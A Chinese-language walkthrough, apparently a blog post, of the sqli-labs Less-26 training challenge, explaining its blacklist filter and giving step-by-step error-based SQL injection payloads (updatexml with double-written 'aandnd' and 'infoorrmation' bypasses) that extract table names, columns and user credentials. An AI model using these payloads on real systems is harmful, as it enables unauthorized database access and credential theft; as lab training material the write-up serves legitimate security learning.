当前位置: 首页 > news >正文

sqli-labs:Less-26关卡详细解析

1. 思路🚀

本关的SQL语句为:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
  • 注入类型:字符串型(单引号包裹)、GET操作
  • 提示:参数需以'闭合
  • 关键参数:id

php输出语句的部分代码:

if($row)
{echo "<font size='5' color= '#99FF00'>";	echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}
else 
{echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  
}

本关卡对许多字符都进行过滤,尤其是空格。我们需要对字符进行替换,同时采用报错盲注(空格相对少),替换规则如下。

  • oroorr
  • andaandnd
  • 空格()包裹
function blacklist($id)
{$id= preg_replace('/or/i',"", $id);		 //strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id); 	 //Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id);	 //strip out /*$id= preg_replace('/[--]/',"", $id);		 //Strip out --$id= preg_replace('/[#]/',"", $id);		 //Strip out #$id= preg_replace('/[\s]/',"", $id);		 //Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id);	 //Strip out slashesreturn $id;
}

在这里插入图片描述


2. 手工注入步骤🎯

我的地址栏是:http://localhost:8081/Less-26/,从?id=开始,只需要将下面的sql语句粘贴即可。我把正常的注入语句和变体的注入语句一并放在下面,方便对比。

2.1. 获取基本信息⚡

注意and,需要修改为aandnd

1' and updatexml(1,concat(1,database()),3) and '1
1'aandnd(updatexml(1,concat(1,database()),3))aandnd'1

在这里插入图片描述


2.2. 获取表名⚡

注意and,需要修改为aandnd,注意information_schema中的or,需要修改为infoorrmation_schema

1' and updatexml(1,concat(1,select group_concat(table_name) from information_schema.tables where table_schema = 'security'),3) and' 1
1'aandnd(updatexml(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)= 'security')),3))aandnd'1

在这里插入图片描述


2.3. 获取字段⚡

注意and,需要修改为aandnd,注意information_schema中的or,需要修改为infoorrmation_schema

1' and updatexml(1,concat(1,select group_concat(column_name) from information_schema.columns where table_schema = 'security'and table_name='users'),3) and '1
1'aandnd(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema)= 'security'aandnd(table_name)='users')),3))aandnd'1

在这里插入图片描述


2.4. 获取数据⚡

注意and,需要修改为aandnd,由于updatexml有字符长度限制,所以对username进行了分批
同理获取possword,注意password中的or,需要修改为passwoord

1' and updatexml(1,concat(1,select substring(group_concat(username),1,30) from users),3) and' 1
1'aandnd(updatexml(1,concat(1,(select(substring(group_concat(username),1,30))from(users))),3))aandnd'1
# 下一批
1'aandnd(updatexml(1,concat(1,(select(substring(group_concat(username),31,30))from(users))),3))aandnd'1

在这里插入图片描述


2.5. 参数汇总表⭐

参数作用示例
'闭合符号id=1'
updatexml()报错注入函数updatexml(1,(select database()),3)
concat()字符串拼接函数concat('a','b')concat(1,(select database()))
group_concat()合并结果group_concat(table_name)
information_schema系统数据库from information_schema.tables
table_schema数据库名称table_schema='security'
table_name数据表名称table_name='users'
column_name字段名称group_concat(column_name)

3. 总结🏁

本关卡代码对许多字符进行过滤来防止SQL注入,但攻击者仍可通过双写(如oorraandnd)、逻辑运算符替代或URL编码的方式等方式轻松绕过。

相似关卡1,见"sqli-labs:Less-25关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149886766?spm=1011.2415.3001.5331

相似关卡2,见"sqli-labs:Less-25a关卡详细解析"
https://blog.csdn.net/qq_62000508/article/details/149887154?spm=1011.2415.3001.5331


声明:本文仅用于安全学习,严禁非法测试! ❗❗❗

http://www.lryc.cn/news/609046.html

相关文章:

  • C++-二叉树OJ题
  • 外设数据到昇腾310推理卡 之五 3403ATU
  • react native中markdown添加数学公式的支持
  • Java ++i 与 i++ 底层原理
  • 机器翻译入门:定义、发展简史与核心价值
  • [自动化Adapt] 录制引擎
  • MVCC:数据库事务隔离的 “时空魔法”
  • mysql管理
  • 【Linux系统】进程间通信:匿名管道
  • http://localhost:8080/photos/xxx.png的本地图片访问方案
  • 常见的框架漏洞(Thinkphp,spring,Shiro)
  • io_submit系统调用及示例
  • 【硬件-笔试面试题】硬件/电子工程师,笔试面试题-54,(知识点:硬件设计流程)
  • 知识随记-----MySQL 连接池健康检测与 RAII 资源管理技术
  • vulnhub-noob靶机攻略
  • ICT模拟零件测试方法--电位器测试
  • 【QT】常⽤控件详解(二)windowOpacitycursorfontsetToolTipfocusPolicystyleSheet
  • 8.1.3 TiDB集群方案雨Replication原理
  • git用户设置
  • 嵌入式 C 语言入门:多文件编程实践笔记 —— 从文件创建到调用
  • Python Seaborn【数据可视化库】 全面讲解
  • C++ 之 【模拟实现 优先级队列】
  • Java 大视界 -- Java 大数据机器学习模型在金融市场情绪分析与投资决策辅助中的应用(379)
  • 控制建模matlab练习05:比例积分控制-①系统建模
  • 【游戏比赛demo灵感】Scenario No.9(又名:World Agent)
  • 【Python✨】解决 Conda 安装 MoviePy 报错问题
  • 【Linux系统编程】进程信号
  • Rust 同步方式访问 REST API 的完整指南
  • python学智能算法(三十一)|SVM-Slater条件理解
  • Rust:如何开发Windows 动态链接库 DLL